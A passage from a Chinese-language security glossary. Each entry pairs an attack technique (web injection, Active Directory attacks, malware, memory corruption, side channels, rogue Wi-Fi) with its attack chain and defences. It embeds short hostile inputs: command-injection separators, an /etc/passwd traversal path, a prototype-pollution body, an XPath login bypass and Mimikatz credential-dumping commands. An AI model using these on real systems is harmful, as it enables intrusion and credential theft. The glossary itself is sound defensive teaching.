防：登录失败统一延迟+异常来源 IP 分析（一次失败不算什么，多来源多账号同密码是特征）；强制周期改密。

含义：拿别的网站泄露的"邮箱+密码"来试你的网站——因为用户到处复用密码，一个站泄露=所有站沦陷。

行为链：收集历次泄露库 → 清洗去重 → 代理 IP 池+打码平台自动化批量登录 → 成功账号转卖或洗劫。

防：个人用密码管理器每站独立密码+2FA；企业做泄露数据检测（登录时比对已泄露密码）强制改密。

含义：黑话，指直接攻进数据库把整个库拖走——SQL 注入、后台弱口令、备份泄露都可能成为入口，一次性拿走几百万用户数据。

行为链：找到入口（SQLi/后台/备份文件）→ 提权到数据库权限 → 导出全部表 → 洗库变现。

防：数据库最小权限+网络隔离；接口参数化查询；敏感字段加密；备份文件不落公网。

含义：拖库后的加工环节——洗库：把杂乱数据清洗成可卖格式（账号+密码+身份证+手机号打包）；脱库：去重、去无效数据后"提纯"。

行为链：原始数据 → 清洗字段/去重/验证有效性 → 按"含密/不含密/带身份证"分级标价 → 暗网批发。

防：用户数据泄露后立即全平台改密；企业第一时间通知+强制重置+监测暗网是否出现本库数据。

含义：利用平台优惠规则的漏洞批量刷补贴——新客红包、满减、秒杀、积分，用批量小号+脚本自动领，把活动预算薅空。

行为链：卡商提供手机号 → 接码平台收验证码 → 脚本批量注册小号 → 集中领取优惠 → 变现或自用。

防：风控（设备指纹/行为分析/图关系挖掘）；活动设领取频次上限；新人身份二次核验。

含义：用脚本/肉鸡批量点击广告——竞争对手的广告费被刷光，或自己刷联盟佣金；广告主按点击付费，钱全进了欺诈者口袋。

行为链：僵尸网络/脚本模拟点击 → 换 IP 伪装真实用户 → 触发广告计费 → 刷走预算或套佣金。

防：广告平台反欺诈（异常 IP 段/点击频率/无转化识别）；广告主设预算上限与转化监测。

含义：在目标电脑/手机里装记录键盘输入的恶意程序（或硬件键盘记录器），密码、聊天、银行卡号全被截获。

行为链：木马携带键盘钩子 → 记录按键日志 → 定时回传 C2 → 分析提取密码与账号。

防：EDR 检测钩子注入；敏感输入用虚拟键盘或密码管理器自动填充（不经键盘）；硬件记录器靠检查 USB 接口。

含义：攻击者插到你和服务器之间，双向流量都经他手——看得见你发的密码、改得了返回的页面。

行为链：先劫持链路（ARP/伪造 Wi-Fi/恶意 DNS）→ 解密或旁路 TLS → 读写全部流量 → 窃密或篡改。

防：全站 HTTPS+证书校验；公共 Wi-Fi 不登录敏感账户；企业内网用 TLS 加密+双向认证。

含义：局域网里伪造 ARP 应答，让交换机"以为"你是网关——同网段所有流量都先流经攻击者（经典：ettercap/arpspoof）。

行为链：广播伪造网关 MAC → 受害主机流量改道 → 嗅探明文/注入 → 转回真网关（受害者无感）。

防：交换机开 DHCP Snooping+DAI（动态 ARP 检测）；终端防 ARP 软件；关键网段 VLAN 隔离。

含义：篡改 DNS 解析结果，让你访问"百度"时实际连到攻击者服务器——路由器被黑、DNS 服务器被攻、恶意 DHCP 都可能造成。

行为链：拿下路由器或 DNS 配置 → 把目标域名解析到钓鱼 IP → 用户无感访问假站 → 账号密码落入敌手。

防：路由器改强密码；用可信 DNS（DoH/DoT 加密查询）；浏览器 HSTS 防降级。

含义：在互联网骨干路由层上劫持——向邻居广播"某个 IP 段归我"，全球流量就被拐到攻击者机房（曾劫持谷歌/亚马逊/以太坊 DNS）。

行为链：攻击者 AS 广播不属于自己的前缀 → 沿途路由器信了 → 流量拐弯 → 截获或篡改 → 事后撤播抹痕。

防：运营商部署 RPKI（路由来源验证）+ BGP 过滤；关键流量双路径比对；大型平台用 Anycast 分散风险。

含义：把 HTTPS 悄悄降级成 HTTP——受害者以为在加密连接上，实际明文裸奔；利用的是"用户手动输入 https"与"页面跳转前"的窗口期。

行为链：MITM 改写页面里的 https 链接为 http → 与服务器保持 https、与用户用 http → 全程明文 → 密码照单全收。

防：站点启用 HSTS（强制浏览器只走 https）；浏览器内置 HSTS 列表；公共网络慎用网银。

含义：HTTP Strict Transport Security——服务器告诉浏览器"今后只许用 HTTPS 连我"，第一次访问后即锁定，专治 SSLstrip。

行为链（攻击面）：若首次访问就被劫持（无 HSTS 记忆），仍可被降级；攻击者也会伪造"访问过"的记录。

防：站点配置 HSTS 头+纳入预载列表（浏览器出厂自带）；用户端注意"不安全连接"警告。

含义：信任链的根坏了——攻击者拿到证书签发机构（CA）的私钥，就能为任意域名签发"合法"证书，浏览器完全信任（历史上 DigiNotar、MELI 等 CA 被攻破）。

行为链：入侵 CA 或内部签发系统 → 签发目标域名的假证书 → MITM 时亮出假证书（浏览器绿锁）→ 流量全解密。

防：证书透明度（CT）日志审计——比对近期新签发证书是否异常；CA 私钥硬件保管（HSM）；浏览器证书固定（HPKP 已弃用，靠 CT+审计）。

含义：把截获的合法请求原样再发一遍——比如抓包拿到你登录的请求或转账的包，稍后重放，服务器以为是你本人操作。

行为链：嗅探/抓包截获请求 → 不改内容直接重放 → 重复扣款/重复领奖/重复登录态生效。

防：请求带时间戳+随机数（nonce）并一次性校验；事务加幂等键；TLS 防抓包仍是基础。

含义：偷走你的会话凭证（Cookie/Token）冒充你登录——XSS 偷 cookie、网络嗅探、预测会话 ID 都是途径。

行为链：XSS 注入脚本 → 把 document.cookie 回传 → 攻击者带 cookie 访问 → 完全冒充受害者。

防：Cookie 设 HttpOnly+Secure+SameSite；会话绑定 IP/设备指纹；敏感操作重新验证密码。

含义：Remote Code Execution——攻击者让服务器执行任意系统命令/代码，Web 漏洞的"最终奖品"，等于直接拿到服务器。

行为链：找到可执行点（命令注入/反序列化/模板注入）→ 拼入恶意命令 → 反弹 shell → 全面接管。

防：输入白名单校验；禁用危险函数；最小权限运行服务；WAF 拦截常见载荷。

含义：程序把用户输入拼进系统命令执行——传 `; ls`、`| whoami`、`` `id` `` 就能执行额外命令（典型：ping 功能）。

行为链：发现执行命令的入口（ping/traceroute/导出功能）→ 注入分隔符+命令 → 无回显时用 DNS 外带确认 → 反弹 shell。

防：不用 shell 拼接，用语言原生 API（subprocess 数组参数）；输入严格白名单；命令输出不回显。

含义：注入的不是系统命令而是应用层代码/表达式——PHP eval、Python eval、Java EL、OGNL、SpEL 等解释器被喂入恶意表达式。

行为链：找带"表达式计算"的功能（模板/规则/排序字段）→ 注入表达式调用系统类 → 读文件/反弹 shell。

防：不 eval 用户输入；表达式引擎配置禁用危险类（沙箱）；参数化模板。

含义：Server-Side Template Injection——用户输入直接进模板引擎（Jinja2/Twig/Freemarker/Thymeleaf）渲染，`{{7*7}}` 都能执行。

行为链：找模板渲染点（邮件模板/页面模板）→ 试 `{{7*7}}` 探测 → 用引擎语法链到系统对象 → 读文件/RCE。

防：模板数据与模板代码分离；禁止用户输入进模板；用安全的渲染 API。

含义：File Read / Path Traversal——通过 `../../` 跳出限定目录读取任意文件，经典目标：/etc/passwd、web.config、数据库配置。

行为链：找下载/预览功能 → 构造 `../../../../etc/passwd` → 读到源码/配置 → 找密码与数据库地址继续深入。

防：文件名白名单+路径规范化校验；不用用户输入直接拼路径；文件服务单独隔离。

含义：站点有跳转功能（登录后回跳/URL 参数跳转）且没校验目标域名——攻击者可把跳转引向钓鱼站，还能借合法域名绕过浏览器拦截。

行为链：找带 redirect/url/next 参数的功能 → 改为恶意域名 → 钓鱼链接"看起来是正规站"→ 骗登录。

防：跳转目标白名单校验；禁止任意协议跳转；OAuth 的 redirect_uri 严格匹配。

含义：在输入里塞 `%0d%0a`（回车换行）——若服务端把用户输入写进响应头，攻击者就能伪造响应头：注入 Set-Cookie、XSS 头，甚至拆分出第二个响应（缓存投毒）。

行为链：找写进响应头的输入（跳转 Location/自定义头）→ 注入 CRLF+伪造头 → 种毒 cookie 或缓存假页面。

防：响应头值过滤 \r\n；框架自动转义头值；不把用户输入直接拼头。

含义：Request Smuggling——前后端对请求边界的理解不一致（Content-Length vs Transfer-Encoding），攻击者让前端看见一个请求、后端收到另一个，把恶意请求"走私"进去。

行为链：构造 CL/TE 矛盾请求 → 前端转发的是安全请求、后端解析出恶意请求 → 绕过 WAF/越权/投毒缓存。

防：前后端统一解析器；禁用 TE；代理与后端 HTTP 版本对齐；关注框架 CVE（如前端代理 0day）。

含义：让 CDN/代理把恶意页面缓存起来分发给所有人——利用缓存键（URL）与内容来源不一致（如尾加参数影响内容但缓存键不含它）。

行为链：找"影响响应但不在缓存键"的参数 → 注入 XSS/恶意内容 → 触发缓存 → 所有访客拿到毒页面。

防：缓存键包含全部影响因子；敏感页禁用缓存；Vary/不可缓存头设置正确。

含义：HTTP Parameter Pollution——同一个参数传两次（`?id=1&id=2`），不同后端取第一个/最后一个/合并，利用不一致绕过校验。

行为链：探测重复参数后端如何取值 → 让 WAF 看到的参数安全、后端用的参数恶意 → 绕过过滤执行。

防：后端只取单一来源参数；框架统一解析规则；WAF 与后端规则对齐。

含义：mXSS（突变 XSS）——浏览器解析 HTML 时"修复"畸形标签，服务端过滤时安全、浏览器渲染后变成可执行脚本；DOM Clobbering——用 HTML 属性（id/name）覆盖 JS 变量（`window.x`），劫持前端逻辑。

行为链：mXSS：构造被过滤规则放行的畸形标签 → 浏览器解析突变 → XSS 触发；Clobbering：注入带 id 的元素覆盖全局对象 → 让前端校验"永远通过"。

防：输出编码（DOM 用 textContent）；CSP 严格化；框架使用安全渲染 API。

含义：JS 里 `Object.prototype` 是万物之祖——攻击者通过 `__proto__`/`constructor.prototype` 污染它，让所有对象都继承恶意属性，可致 RCE/提权/绕过校验（JSON 解析、深合并函数常中招）。

行为链：找深合并/递归赋值用户 JSON 的接口 → 塞 `{"__proto__":{"isAdmin":true}}` → 全局对象被污染 → 提权或代码执行。

防：JSON.parse 后冻结原型（Object.freeze(proto)）；用 Map 代替对象；深合并库选防护版本。

含义：CSP（内容安全策略）是浏览器防 XSS 的最后闸门，但配置太松可绕——unsafe-inline、JSONP 端点、base 标签注入都可绕过；SRI（子资源完整性）校验脚本哈希，但<script> 动态注入或策略缺失时失效。

行为链：CSP：找允许的域名里可控端点（JSONP）→ 借它执行脚本；SRI：找没带 integrity 属性的脚本标签 → 注入可控脚本。

防：CSP 不用 unsafe-inline/unsafe-eval；脚本全部加 SRI；base 标签白名单。

含义：企业域名有一条 CNAME 指向第三方服务（GitHub Pages/AWS S3/Azure），服务到期被释放——攻击者注册同名服务，接管这个"合法"子域。

行为链：枚举子域（certificate transparency/subfinder）→ 发现指向未注册服务的 CNAME → 注册同名账号部署钓鱼页 → 该子域归你。

防：子域资产台账+定期检查 CNAME 有效性；下线服务同步删除 DNS 记录；Nuclei 的 dns-takeover 模板常扫。

含义：查询语言注入的变种——XPath 查 XML（`//user[name='...']`）、LDAP 查目录（`(&(uid=...))`），利用方式类似 SQLi 但常被忽视。

行为链：找基于 XML/目录查询的登录/搜索 → 注入 `' or '1'='1` → 绕过认证或越权读取。

防：参数化查询；输入转义；LDAP 过滤特殊字符。

含义：Spring 框架 2022 年 RCE 漏洞链（CVE-2022-22965）——通过数据绑定向 Tomcat 写恶意参数拿到 RCE；OGNL 是 Struts2 的表达式语言，多次出过致命 RCE（含 Equifax 那个 CVE-2017-5638）。

行为链：探测 Spring/Struts 指纹 → 发特殊参数触发表达式执行 → 写入 webshell 或反弹 shell。

防：升级框架版本；禁用危险类数据绑定；WAF 规则拦截 OGNL/Spring 特征载荷。

含义：Pass-the-Hash——Windows 认证用 NTLM 哈希即可，不需要明文密码：抓到某个用户的 NTLM 哈希，直接拿它登录任意开放 SMB 的机器（Mimikatz/impacket 一键）。

行为链：本地提权抓 lsass 里的哈希 → 用哈希横向登录其它机器 → 重复直到域管哈希到手。

防：域管账号禁止登录普通机器；启用 Credential Guard；关掉多余 SMB 共享。

含义：Kerberos 票据体系——黄金票据：拿到 krbtgt 哈希后伪造"域管签发"的万能 TGT，可冒充任何用户、任何机器、有效期自定（改域管密码也没用）；白银票据：伪造某服务的 TGS，只打该服务但更隐蔽（不碰 KDC）。

行为链：拿到 krbtgt/服务账号哈希 → Mimikatz kerberos::golden/silver → 注入票据 → 免密码访问域内资源。

防：定期轮换 krbtgt 密钥（改两次隔 12h）；服务账号改复杂密码并监控异常 TGS；关 Kerberos 委派滥用。

含义：AD 里服务账号的 SPN 票据可被普通用户申请——攻击者申请下来（TGS）离线爆破，服务账号密码通常又长又弱（不强制轮换），成功率极高。

行为链：域内低权限账号查 SPN（setspn -q */*）→ 申请 TGS → 离线 hashcat 爆破 → 拿到服务账号密码 → 横向。

防：服务账号密码 25 位+ 随机+定期轮换；监控异常 TGS 请求（Kerberoasting 事件）；用 gMSA（组管理服务账号）自动轮换。

含义：AD 账号若没开启预认证，攻击者不碰密码就能申请到该账号的 AS-REP 响应，里面含可离线爆破的加密哈希——专打"不需要预认证"的账号（常是服务账号）。

行为链：枚举"不需要预认证"的账号（GetNPUsers）→ 申请 AS-REP → 离线爆破 → 明文到手。

防：全部账号开启预认证；审计"Don't require preauth"属性；强密码仍是根本。

含义：域控间同步密码的复制协议被滥用——只要拿到任意能复制目录的账号（Domain Admins 或具 Replicating 权限），就能伪装域控请求同步，把域内所有账号哈希（含 krbtgt）拖走。

行为链：拿到 DA/高权限哈希 → Mimikatz lsadump::dcsync / impacket secretsdump → 全域哈希离线 → 任意账号直登。

防：严格管控复制目录权限；监控 4662（目录复制请求）事件；域管凭据绝不落地普通机。

含义：动态注册一台假域控并临时把恶意目录对象"复制"进真实 AD——可改权限、种后门、伪造对象，且很难被常规审计发现（利用的是复制协议的信任）。

行为链：拿到高权限 → 注册假 DC（RID 500 类）→ 通过复制协议推入恶意对象 → 撤销假 DC 不留痕。

防：监控新域控注册（4614/4742 事件）；严格限制 Replicating 权限；域控机可信设备管理。

含义：不破解，把抓到的认证直接"转发"给另一台服务器——受害者认证攻击者，攻击者拿这份认证去中继登录（如 SMB 到 SMB、SMB 到 LDAP，甚至到 AD CS 拿证书）。

行为链：Responder 毒化网络截获认证 → ntlmrelayx 转发到目标机 → 以受害者身份登录/执行 → 横向移动。

防：启用 SMB 签名；禁用 LLMNR/NBT-NS；NTLM 中继到 LDAP 需配置通道绑定（EPA）。

含义：Windows 解析不了主机名时会广播询问（LLMNR/NBT-NS），Responder 抢答"我就是那台机器"，骗受害者把 NTLM 认证发给攻击者。

行为链：内网运行 Responder → 受害者访问不存在的主机名 → 抢答收下 NTLM 哈希 → 离线爆破或直接中继。

防：组策略禁用 LLMNR/NBT-NS；网络分段；客户端用 DNS 优先。

含义：旧版组策略偏好（GPP）会把明文/弱加密密码存进 SYSVOL（AES-256 可解）——任何域用户都能读；组策略滥用则是往开机脚本/登录脚本里种持久化。

行为链：读 SYSVOL 里的 Groups.xml → 解出本地管理员密码（aes 密钥公开）→ 横向；或改 GPO 脚本种后门。

防：迁移到受保护的组策略（不再用 GPP 存密码）；审计 GPO 修改（5136 事件）；SYSVOL 权限最小化。

含义：域提权——从普通用户打到域管（利用错误配置、Kerberos 委派、ACL 滥用）；林间信任攻击——两个域林互信时，利用 SID History/信任密钥横向打进另一个林（甚至跨公司）。

行为链：枚举 ACL/委派/信任关系（BloodHound 一键出图）→ 找可达 DA 的路径 → 逐跳利用 → 跨越信任边界。

防：BloodHound 定期红队自测；最小化委派；信任关系只建必要；SID 过滤。

含义：域里所有机器共享的"策略文件夹"（域控共享 SYSVOL）——域内任何用户可读，是找密码、找脚本、找配置的金矿，也是 GPP 密码提取的来源。

行为链：域内低权限 → 浏览 SYSVOL → 翻脚本/备份/密码文件 → 复用横向。

防：SYSVOL 不放密码与敏感脚本；文件权限最小化；定期审计共享内容。

含义：EternalBlue——NSA 泄露的 Windows SMBv1 远程代码执行漏洞，无需任何凭据打 445 端口；WannaCry/NotPetya 的传播引擎，2017 年后仍大量内网在用。

行为链：扫描 445 → 发特殊 SMB 包触发溢出 → 注入 shellcode → 配合 DoublePulsar 植入后门/传勒索。

防：打 MS17-010 补丁；禁用 SMBv1；445 不出公网；EDR 检测漏洞利用特征。

含义：2020 年 CVE-2020-1472——Netlogon 协议的密码学实现缺陷：攻击者可从普通域账号直接拿下域控（改域管密码），10 秒提权，当年最致命 Windows 漏洞。

行为链：扫域控 445 → 打 Zerologon 重置域控机器密码 → 用域控身份 DCSync 全域哈希。

防：打微软 2020-08 补丁；检测 4742/4724 异常密码重置；域控禁用弱 Netlogon 回退。

含义：2021 年 Windows Print Spooler 服务 RCE 漏洞（CVE-2021-34527 等）——域控上默认开着打印服务，攻击者远程打进去直接控制域控。

行为链：扫 445/139 → 利用 spoolsv 加载恶意 DLL → 拿 SYSTEM 权限 → 域控即达。

防：立即补丁；非必要禁用 Print Spooler；域控关闭打印服务；监控异常 DLL 加载。

含义：Exchange 邮件服务器的 RCE 漏洞链（2021）——ProxyLogon 单一漏洞即可未认证 RCE；ProxyShell 三漏洞链从认证绕过打到命令执行，全球邮件服务器大洗牌。

行为链：扫 Exchange OWA → 认证绕过（SSRF）→ 写 webshell（web.config/ASPX）→ 权限接管 → 邮件全量可读。

防：微软应急补丁必打；关闭公网 OWA 或前置 VPN；审计 IIS 目录异常 webshell 文件。

含义：Trojan / Remote Access Trojan——伪装成正常软件，安装后给你留一个远程控制后门：看屏幕、控鼠标、抓密码、传文件，全程不露痕迹。

行为链：捆绑进破解软件/邮件附件 → 诱导运行 → 连接 C2 上线 → 远程指令执行 → 窃密或借力横向。

防：软件只从官网下；EDR 查异常外连；行为分析拦截"未知程序建远程会话"。

含义：深入内核层隐藏自己——Hook 系统调用/内核对象，隐藏文件、进程、端口、网络连接，杀毒软件看到的系统是"干净"的。

行为链：先拿到管理员/内核权限 → 加载内核模块（LKM）或篡改内核内存（DKOM）→ 劫持系统调用 → 完全隐身+持续窃取。

防：内核签名强制（Secure Boot/KMCS）；内存取证查 DKOM 痕迹；EDR 检测内核回调异常。

含义：比 Rootkit 更早——感染引导区（MBR/VBR/UEFI），操作系统还没启动就接管了机器，安全软件在它后面运行，永远抓不到它。

行为链：写 MBR 恶意引导 → 系统启动时加载恶意代码 → 劫持内核加载 → 注入根后门 → 重装系统都不一定清掉。

防：UEFI Secure Boot + TPM 度量启动；固件更新；引导完整性校验。

含义：Webshell——打进服务器后在 Web 目录留一个网页版后门（中国菜刀/冰蝎/哥斯拉/Getshell 系列），浏览器访问即得命令执行；内存马——不落盘，注入进 JVM/进程内存，杀毒扫磁盘扫不到。

行为链：利用 RCE/文件上传 → 传一句话木马/注册 Servlet-Filter-Listener 内存马 → 浏览器/客户端连上 → 命令执行+内网跳板。

防：上传白名单；WAF 检测菜刀/冰蝎特征流量；RASP 查内存马；定期扫 Web 目录可执行文件。

含义：Fileless / Living off the Land——不落地恶意文件，直接用系统自带工具（PowerShell、WMI、Mshta、bitsadmin）干活，杀毒软件按文件查杀直接失效。

行为链：宏/漏洞加载内存载荷 → PowerShell 从内存执行 → 用系统工具横向/下载 → 全程无文件、少告警。

防：监控 PowerShell 异常（脚本块日志）；限制 WMI/Mshta 等执行；EDR 行为检测（父进程链异常）。

含义：利用被信任的官方程序执行代码绕过白名单——如 LOLBins（Living Off the Land Binaries）：rundll32、mshta、regsvr32、certutil 都能被用来下载执行。

行为链：选一个白名单内工具 → 让它加载恶意 DLL/脚本 → 以"合法程序"名义执行 → 绕过应用白名单。

防：白名单按"发布者+路径+哈希"精确匹配；对 LOLBins 加参数级策略；EDR 检测可疑命令行。

含义：偷你CPU/GPU 算力挖门罗币（XMRig 等）——不偷数据只偷电，受害者常是"电脑变卡"才察觉；僵尸网络、网页挖矿、容器集群都是重灾区。

行为链：漏洞打点 → 下载 XMRig → 连矿池 → 压榨算力 → 收益进攻击者钱包（门罗币匿名）。

防：封禁矿池域名/IP；容器镜像扫描挖矿程序；监控 CPU 异常占用与异常外连矿池。

含义：成千上万台被控机器（肉鸡）组成"僵尸军团"，听 C2 指挥——DDoS、群发垃圾、撞库、点击欺诈都是它的业务；IoT 设备（摄像头/路由器）最常被征用（Mirai 60 万台）。

行为链：批量扫描弱口令 IoT → 植入 bot → 连 C2 待命 → 指令下达 → 一起发包/干活。

防：改 IoT 默认密码；设备禁用 Telnet；企业封 C2 域名；监控批量相似外连。

含义：加密你的文件索要赎金；RaaS（勒索软件即服务）——开发者把勒索工具"租"给黑客，按分成收钱，门槛降到谁都能干；双/三重勒索：加密+偷数据+DDoS 威胁。

行为链：钓鱼/漏洞进入 → 横向摸清备份与关键系统 → 一次性全盘加密+拖走数据 → 留勒索信 → 谈判付钱（或再威胁公开数据）。

防：离线 3-2-1 备份；补丁+EDR；出站流量监控数据外带；别付赎金（付了也可能被再敲）。

含义：埋在系统里的定时/条件炸弹——到时间或满足条件（员工被开除/某日期/某操作）才引爆：删库、锁系统、泄露数据，平时完全隐形。

行为链：内部人员或植入代码设定触发条件 → 平时潜伏 → 条件满足 → 删数据/瘫痪系统 → 追查时人已跑。

防：关键系统代码审计+双人复核；离职流程即时回收权限；数据库备份与变更审批。

含义：把恶意代码塞进别的进程执行——借合法进程（explorer/svchost）的外壳躲避检测。主流招式：远程线程注入、APC 注入（插队执行）、线程劫持、Process Hollowing（进程镂空：把合法进程的内存换掉）、Atom Bombing、Early Bird（启动早期注入）。

行为链：打开目标进程 → 分配内存写载荷 → 创建远程线程/APC 触发 → 恶意代码在"白进程"里跑。

防：EDR 检测跨进程注入行为（OpenProcess+WriteProcessMemory 组合）；内存扫描（不只看磁盘）。

含义：Windows 加载 DLL 有搜索顺序——把恶意 DLL 放进合法程序会先搜到的位置，程序启动时"自动"加载你的 DLL（DLL Search Order Hijacking / Sideloading）。

行为链：找目标程序加载但缺的 DLL → 同名恶意 DLL 放进其目录 → 程序运行 → 恶意代码加载执行。

防：程序指定绝对路径+签名校验 DLL；EDR 监控 DLL 加载来源异常；对可信程序目录做完整性监控。

含义：重启也不死——把恶意程序注册成计划任务（schtasks）或 Windows 服务，开机/定时自动拉起。

行为链：写入恶意程序 → schtasks /create 或 sc create → 设开机自启/定时触发 → 重启后自动复活。

防：审计新建任务/服务（4698/7045 事件）；服务签名与发布者校验；EDR 检测异常自启动项。

含义：把启动项写进注册表——Run/RunOnce 键、AppInit_DLLs（加载到所有进程）、映像劫持 IFEO、COM 劫持、WMI 事件订阅，都是"开机即起"的经典窝点。

行为链：reg add 写 Run 键或改 IFEO → 开机/进程启动时加载 → 常驻。

防：监控 Run 键/AppInit_DLLs 改动（Sysmon 事件 13/12）；关键键值只允许管理员+签名程序写。

含义：经典提权+持久化——Windows 的 sethc（粘滞键）、Utilman（放大镜）是系统权限程序，把恶意程序替换成它，在登录界面按 5 下 Shift 就以 SYSTEM 打开你的后门。

行为链：拿到一定权限 → 替换 sethc.exe/Utilman.exe → 重启到登录界面 → 连按 Shift → SYSTEM shell。

防：系统文件完整性监控（Sysmon 12/13）；禁用登录界面辅助工具；补丁+EDR。

含义：恶意 VBA 宏藏在 Office 文档（.docm/.xlsm）里——开启内容即执行；变种：LNK 快捷方式、HTA、CHM 帮助文件、XLL 加载项、DDE 公式，全是"文档钓鱼"武器。

行为链：发"发票/简历/合同"文档 → 诱导启用宏 → 宏下载执行载荷 → 上线 C2。

防：默认禁用宏+只信任签名宏；邮件网关扫文档；EDR 监控 Office 进程父子链异常。

含义：Zip 炸弹——高度压缩的小文件解压后撑爆磁盘/内存（42.zip 经典，几 KB 解出 4.5PB）；Zip Slip——解压时文件名带 ../ 路径穿越，把文件写到任意目录（写 webshell/覆盖文件）。

行为链：Zip 炸弹：上传小压缩包 → 服务器解压 → 资源耗尽宕机；Zip Slip：恶意压缩包 → 解压写文件到 Web 目录/启动目录。

防：解压前校验压缩比与文件数；解压路径规范化防穿越；沙箱解压。

含义：Timestomp（篡改文件时间戳）、清日志（删 EventLog/应用日志）、清命令历史、内存清零——让取证人员查不到攻击过程。

行为链：干完活 → wevtutil cl 清日志 / timestomp 改时间 → 删临时文件 → 退出。

防：日志外发（集中 SIEM 实时收集，删本地没用）；WORM 存储防篡改；EDR 检测日志清理行为（Sysmon 104）。

含义：往栈上写超过缓冲区的数据，覆盖返回地址——程序"回来"时跳到攻击者的代码（shellcode/ROP 链），C 语言老代码的经典死穴。

行为链：找无边界检查的输入（gets/strcpy）→ 构造 padding+返回地址 → 触发溢出 → 控制执行流 → 提权/弹 shell。

防：用安全函数（gets→fgets）；编译防护：栈金丝雀（canary）+NX+ASLR；代码审计+模糊测试。

含义：堆溢出——写爆堆块覆盖相邻块元数据（fastbin/unsorted bin 攻击）；UAF（Use-After-Free）——内存释放后还在用，趁机把已释放块替换成恶意对象（double free 同族）。

行为链：找释放后仍引用的指针/可控的分配大小 → 伪造堆块/metadata → 劫持函数指针或写入任意地址 → RCE。

防：智能指针/GC；分配后置空；堆隔离（ASLR+Guard Pages）；用 Rust 这类内存安全语言重写高危组件。

含义：算术运算结果超过变量范围（0xFFFFFFFF+1=0）——让"应该很大的长度"变成 0/负数，绕过长度检查造成溢出或逻辑错误。

行为链：找长度/大小计算点 → 传超大值触发回绕 → 分配过小 → 后续写入溢出。

防：整数运算前检查范围；用无符号+溢出检测编译选项（-ftrapv）；边界用 size_t 统一类型。

含义：printf(user_input) ——格式串由用户控制：%s 读内存、%n 写内存——能读任意地址内容（泄露 canary/libc）、写任意地址（改 GOT 拿 RCE）。

行为链：找直接打印用户输入的 printf → 用 %x/%p 试探偏移 → %n 写 GOT 表项 → 劫持执行。

防：printf("%s", input) 永远带格式符；静态检查（-Wformat-security）；编译 W 防护。

含义：NX 禁执行栈后，攻击者拼凑已有代码片段（gadget）完成攻击——ROP：ret 结尾的片段链；JOP：jmp 结尾；SROP：伪造 sigreturn 帧直接改寄存器（神技）；配合 ret2libc/ret2dlresolve/one_gadget。

行为链：泄露 libc 基址 → 找 gadgets（ROPgadget/ropper）→ 拼链 → 调 system("/bin/sh")。

防：ASLR+RELRO+金丝雀全套；seccomp 限制系统调用；CFI（控制流完整性）防 gadget 拼接。

含义：喂大量畸形/随机输入给程序逼它崩溃，崩溃点即漏洞候选——AFL/libFuzzer/honggfuzz 覆盖率引导（coverage-guided）是现代挖洞主力，配 ASAN/UBSAN 定位；内核用 syzkaller。

行为链：写 harness（解析入口）→ 跑 fuzzer 生成输入 → 崩溃样本 → 最小化 → 分析根因 → 写 PoC。

防：对解析器/解码器重点 fuzz；sanitizer 常态化跑 CI；攻击面收窄（少暴露复杂解析）。

含义：CPU 乱序执行+推测执行的设计缺陷——恶意程序能读其他进程/内核的内存（Meltdown 读内核；Spectre 读同一 CPU 上其他程序），是 2018 年轰动的芯片级漏洞，影响几乎全部 Intel/AMD/ARM。

行为链：构造分支让 CPU 推测执行越界读 → 用缓存侧信道（Flush+Reload）测"哪条路被执行" → 逐字节还原机密。

防：微码/内核补丁（KPTI）；浏览器 Site Isolation；高危场景用不受影响的处理器或软件缓解。

含义：靠时间快慢偷信息——缓存命中比未命中快，据此还原数据（Flush+Reload、Prime+Probe）；同类的还有功耗分析（SPA/DPA）、电磁辐射分析——不碰内存，只"听"物理世界。

行为链：反复测目标操作耗时/缓存状态 → 统计分析还原密钥/数据 → 配合 Meltdown 类漏洞完成读取。

防：密码学实现用常数时间算法；敏感分支避免依赖机密；芯片级缓解+刷新页面隔离。

含义：Rowhammer——高速反复读写内存行，让相邻行的比特翻转（位翻转），改内核权限比特提权；故障注入（Glitch）——给芯片制造电压/时钟毛刺，让安全校验"恰好跳过"（如跳过签名验证）。

行为链：Rowhammer：hammer 相邻行 → 目标位翻转 → 权限提升；Glitch：激光/电磁毛刺打在指令时刻 → 跳过错检 → 解密/解锁。

防：内存 ECC；Rowhammer 刷新率加固；芯片安全校验冗余+随机化时序；TPM 防物理篡改。

含义：屏幕/线缆会电磁泄漏——用天线在几十米外接收并还原屏幕内容（van Eck 窃听）；键盘信号也能被侧信道还原（键盘侧信道）。

行为链：目标附近架接收设备 → 采集电磁信号 → 信号处理还原图像/按键 → 拿到屏幕上机密。

防：涉密区用 TEMPEST 屏蔽机/屏蔽室；液晶屏优于 CRT；减少不必要线缆辐射。

含义：硬件调试接口——JTAG（芯片调试口）、UART（串口，常带 root shell）、SPI 闪存直读——物理接触设备后提取固件/密钥/拿到调试权限（chip-off：拆芯片用读卡器直读；binwalk 解固件）。

行为链：开壳找测试点 → 接 JTAG/串口 → 读固件/进调试模式 → 提取密钥与漏洞面 → 反向固件挖 0day。

防：量产锁 JTAG（efuse）；串口禁 root；固件加密签名+密钥存 TPM/HSM；芯片引脚走线隐藏。

含义：USB 设备伪装成键盘自动"打字"执行命令——Rubber Ducky（一键注入）、Bash Bunny（网络+存储+键盘三合一）、LAN Turtle（USB 网卡后门）、O.MG（远程更新载荷的钓鱼线）；插上即沦陷。

行为链：物理接触或骗插 → 模拟键盘敲击 → 下载执行载荷/反弹 shell → 内网入口。

防：禁用未授权 USB 设备（USB 管控）；EDR 检测异常键盘输入速度；员工只插自家设备。

含义：TPM（可信平台模块）——主板上的密码学保险柜，存密钥+度量启动（测固件哈希防篡改）；HSM——硬件密码机，企业级密钥保险柜；防物理提取是它们的本职，但微探针攻击可读内部总线。

行为链（攻击侧）：对不锁定的 TPM/HSM 做微探针/侧信道/glitch → 尝试提取密钥；对锁定的基本无解（这正是目的）。

防：启用 TPM 并绑定启动度量（BitLocker/TPM2.0）；HSM 上锁+密钥永不离开设备。

含义：架一个同名假 Wi-Fi（Starbucks_Free 之类），手机自动连上"熟悉的"网络——流量全经攻击者（Wi-Fi Pineapple 一键干这活）。

行为链：扫描周围 SSID → 克隆同名热点 → 受害者自动接入 → MITM 全流量 → 盗密码/插广告。

防：关闭自动连接；连公共 Wi-Fi 用 VPN；核对热点 MAC 与强度；重要账号走蜂窝网络。

含义：2017 年 KRACK 漏洞——WPA2 握手流程的重放漏洞：重装密钥让加密被绕过，Wi-Fi 流量可被解密/篡改；WPA3 也有 Dragonblood（降级+侧信道）漏洞。

